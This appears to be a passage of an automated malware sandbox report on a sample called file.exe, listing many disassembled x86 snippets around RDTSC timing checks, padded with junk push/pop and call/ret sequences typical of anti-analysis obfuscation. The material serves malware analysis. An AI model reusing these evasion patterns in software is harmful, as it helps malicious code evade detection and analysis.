Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886C62 second address: 886C68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886C68 second address: 886C93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F6CDCB9DDF6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F6CDCB9DE0Ch 0x00000015 jmp 00007F6CDCB9DE06h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88742A second address: 887434 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887434 second address: 88743A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88743A second address: 88743E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88857D second address: 888583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850789 second address: 85079B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6CDCCD27BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C6D1 second address: 88C70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6CDCB9DE08h 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jno 00007F6CDCB9DDFCh 0x00000014 jo 00007F6CDCB9DDFCh 0x0000001a jnp 00007F6CDCB9DDF6h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C70D second address: 88C713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C982 second address: 88C9A0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6CDCB9DDFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F6CDCB9DDFCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CF42 second address: 88CF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jng 00007F6CDCCD27B6h 0x00000010 jmp 00007F6CDCCD27C6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CF69 second address: 88CF6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D0D3 second address: 88D0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D957 second address: 88D95C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D9DA second address: 88D9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D9DE second address: 88DA35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6CDCB9DE04h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F6CDCB9DDFFh 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6CDCB9DE04h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA35 second address: 88DA3E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA3E second address: 88DA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F6CDCB9DDFCh 0x00000012 jo 00007F6CDCB9DDF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E148 second address: 88E14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E14F second address: 88E159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6CDCB9DDF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E159 second address: 88E15D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E79F second address: 88E7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCB9DDFCh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E7B7 second address: 88E7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E7BB second address: 88E7BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E945 second address: 88E94B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EA28 second address: 88EA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EA2C second address: 88EA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EBF0 second address: 88EBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F097 second address: 88F09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F09B second address: 88F12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCB9DE06h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F6CDCB9DDF8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1CF6h], ebx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F6CDCB9DDF8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b sub di, 78F4h 0x00000050 sub si, 5BB0h 0x00000055 push 00000000h 0x00000057 jmp 00007F6CDCB9DDFEh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jne 00007F6CDCB9DDFCh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F9E8 second address: 88F9ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F83E second address: 88F848 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F848 second address: 88F852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6CDCCD27B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89155A second address: 89156D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6CDCB9DDF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89156D second address: 891571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891571 second address: 891577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891577 second address: 891607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6CDCCD27B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov si, bx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F6CDCCD27B8h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 movzx edi, dx 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F6CDCCD27B8h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 xchg eax, ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jnl 00007F6CDCCD27B6h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891607 second address: 89161D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89161D second address: 891635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F6CDCCD27B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F6CDCCD27B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891FE7 second address: 892004 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6CDCB9DE01h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892004 second address: 892050 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov si, 0B8Ch 0x00000010 mov dword ptr [ebp+124535B2h], esi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a movsx edi, bx 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F6CDCCD27C7h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6CDCCD27C4h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892A64 second address: 892A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8927CF second address: 8927D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892A68 second address: 892A9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movzx esi, cx 0x0000000d push 00000000h 0x0000000f mov si, 7ACEh 0x00000013 push 00000000h 0x00000015 xor dword ptr [ebp+12479A99h], edx 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8927D3 second address: 8927D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8927D7 second address: 8927DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893193 second address: 8931AD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6CDCCD27BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F6CDCCD27B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897457 second address: 897461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897461 second address: 89747A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jns 00007F6CDCCD27BCh 0x0000000f jns 00007F6CDCCD27B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89747A second address: 89747E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89936F second address: 89941B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov edi, 6B96A4F7h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F6CDCCD27B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov di, 53C0h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F6CDCCD27B8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 jmp 00007F6CDCCD27C6h 0x0000004e call 00007F6CDCCD27C6h 0x00000053 movzx edi, cx 0x00000056 pop edi 0x00000057 xchg eax, esi 0x00000058 jns 00007F6CDCCD27CFh 0x0000005e push eax 0x0000005f push ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898619 second address: 898634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89959A second address: 8995A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898634 second address: 898646 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F6CDCB9DDF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8995A0 second address: 8995A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8995A5 second address: 899658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCB9DE09h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F6CDCB9DDF8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov ebx, dword ptr [ebp+122D3A6Ch] 0x0000002f and ebx, dword ptr [ebp+122D1D19h] 0x00000035 push dword ptr fs:[00000000h] 0x0000003c mov bl, BFh 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 jnl 00007F6CDCB9DE08h 0x0000004b mov eax, dword ptr [ebp+122D1445h] 0x00000051 jmp 00007F6CDCB9DE02h 0x00000056 mov bx, E711h 0x0000005a push FFFFFFFFh 0x0000005c or dword ptr [ebp+12450EADh], edi 0x00000062 jmp 00007F6CDCB9DDFBh 0x00000067 nop 0x00000068 push edx 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c push edi 0x0000006d pop edi 0x0000006e popad 0x0000006f pop edx 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push esi 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 pop esi 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B5FB second address: 89B686 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F6CDCCD27C1h 0x0000000e pop eax 0x0000000f push edi 0x00000010 jns 00007F6CDCCD27B6h 0x00000016 pop edi 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F6CDCCD27B8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 call 00007F6CDCCD27C7h 0x00000038 mov dword ptr [ebp+122D1C4Eh], edx 0x0000003e pop ebx 0x0000003f push 00000000h 0x00000041 mov bl, 27h 0x00000043 push 00000000h 0x00000045 jmp 00007F6CDCCD27C5h 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F6CDCCD27BDh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8986EF second address: 8986F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C671 second address: 89C684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27BAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B8C3 second address: 89B8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C729 second address: 89C72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C72D second address: 89C73C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C73C second address: 89C742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D69B second address: 89D6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C941 second address: 89C946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D6A1 second address: 89D6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C946 second address: 89C94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D6A5 second address: 89D6A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C94C second address: 89C95F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F6CDCCD27C0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E744 second address: 89E74A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E74A second address: 89E74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E74E second address: 89E797 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F6CDCB9DDF8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov bx, dx 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D37A3h], esi 0x00000036 push eax 0x00000037 js 00007F6CDCB9DE1Ah 0x0000003d push eax 0x0000003e push edx 0x0000003f jnl 00007F6CDCB9DDF6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D82E second address: 89D834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D834 second address: 89D838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F670 second address: 89F674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A062A second address: 8A062E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A062E second address: 8A06A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F6CDCCD27B8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 jmp 00007F6CDCCD27BFh 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b sub ebx, dword ptr [ebp+122D2CCAh] 0x00000031 pop ebx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F6CDCCD27B8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e movzx ebx, si 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 jnp 00007F6CDCCD27B6h 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A25E3 second address: 8A25E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A25E7 second address: 8A25ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
